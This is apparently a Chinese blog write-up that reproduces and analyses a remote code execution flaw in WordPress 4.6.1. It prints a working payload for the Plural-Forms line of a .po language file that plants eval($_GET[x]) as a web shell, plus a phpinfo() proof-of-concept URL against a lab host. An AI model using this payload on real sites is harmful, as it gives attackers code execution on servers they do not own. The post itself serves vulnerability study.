Loading

Wordpress 4.6.1 Rce 漏洞复现&分析

0x01 漏洞背景

漏洞编号:

漏洞组件:wordpress <= 4.6.1

漏洞成因:

0x02 漏洞复现

使用文本编辑器打开wordpress/wp-content/languages/zh_TW.po,需要注意的是

(1)若没有languages文件夹,则需要后台设置中打开语言设定,选择非英语语言,我这里直接选择其他语言,则会自动生成languages文件夹。

替换掉第九行的字符串

"Plural-Forms: nplurals=1; plural=n);}eval($_GET[x]);/*"

image-20201222113240706

替换为

image-20201222113353573

使用poedit打开该po文件,打开后直接点击保存,poedit会更新编译po文件的二进制格式的文件。

image-20201222114625065

直接访问链接

http://192.168.52.3:8088/wordpress-4.6.1/wordpress/?x=phpinfo();

image-20201222114844655

0x03 漏洞分析

漏洞的触发点在wordpress\wp-includes\pomo\translations.php中的make_plural_form_function方法中

image-20201222151306384

其中create_function函数中若能够控制该$code的位置的内容则可以执行php代码

image-20201222153208879

$expression传入的是po文件中的poc,最终带入到func_body中,其中的");"主要是为了闭合前面的(,接着剩下的"}"后面的payload一起传入到func_body中

0x04 参考

https://www.t00ls.net/articles-36509.html

https://bugs.php.net/bug.php?id=48231

posted @ 2021-02-06 01:29  0x28  阅读(540)  评论(0编辑  收藏  举报